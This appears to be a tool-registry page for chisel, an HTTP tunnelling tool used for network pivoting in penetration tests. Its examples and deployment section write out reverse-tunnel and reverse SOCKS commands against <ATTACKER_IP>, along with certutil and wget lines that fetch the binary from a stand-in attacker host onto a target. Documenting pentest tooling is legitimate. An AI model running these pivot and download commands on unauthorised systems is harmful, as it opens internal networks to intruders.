security enabled verified medium v1.0.0

chisel

Fast TCP/UDP tunnel over HTTP, used for network pivoting and port forwarding through restrictive firewalls using a single binary with no dependencies.

📋 Live Preview
chisel server -p {port} --reverse
๐ŸŒ port โ†’ port
chisel server -p {port} --reverse

Sandbox: execFile · Timeout: 86400s

Capabilities

network.tunnel.http
network.forward.port
network.forward.reverse
network.proxy.socks
security.pivot.traffic

Parameters

Name Type Required Default Description Aliases
mode string Yes - Mode: server or client -
port integer No 8080 Listening port -
reverse boolean No - Enable reverse tunneling -
socks boolean No - Enable SOCKS proxy -
remote string No - Remote forward specification (e.g., R:socks or R:port:host:port) -

Contract

Inputs

network.target.ip

Chisel server IP

network.port

Chisel server port

Outputs

network.tunnel

Encrypted tunnel over HTTP

Side effects: network_trafficraw_socket_access

Workflow Edges

Produces

network.tunnel

Consumes

network.target.ipnetwork.port

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Start chisel server in reverse mode on attacking machine

chisel server -p 8080 --reverse

Connect client to server with reverse port forwarding

chisel client <ATTACKER_IP>:8080 R:8888:<INTERNAL_IP>:80

Reverse SOCKS proxy (tunnel all traffic through target)

chisel client <ATTACKER_IP>:8080 R:socks

Remote port forwarding (expose internal service on attacker port)

chisel client <ATTACKER_IP>:8080 R:8888:localhost:3389

Documentation

Chisel โ€” Fast TCP Tunnel over HTTP

Chisel is a single-binary TCP/UDP tunnel that transports over HTTP, secured with SSH encryption. It's ideal for penetration testing scenarios where you need to pivot through restrictive firewalls.

Modes

Mode Command Use Case
Server chisel server -p PORT --reverse Listening relay on attacker machine
Client (reverse fwd) chisel client IP:PORT R:LPORT:RHOST:RPORT Expose internal service to attacker
Client (SOCKS) chisel client IP:PORT R:socks Full SOCKS proxy through tunnel

Deployment

The chisel binary is self-contained with no dependencies โ€” simply upload it to the target via SMB, HTTP, or any file transfer method.

# Upload via certutil (Windows)
certutil -urlcache -f http://ATTACKER/chisel.exe chisel.exe

# Upload via wget (Linux)
wget http://ATTACKER:8000/chisel -O chisel

Related Tools

socatssh

References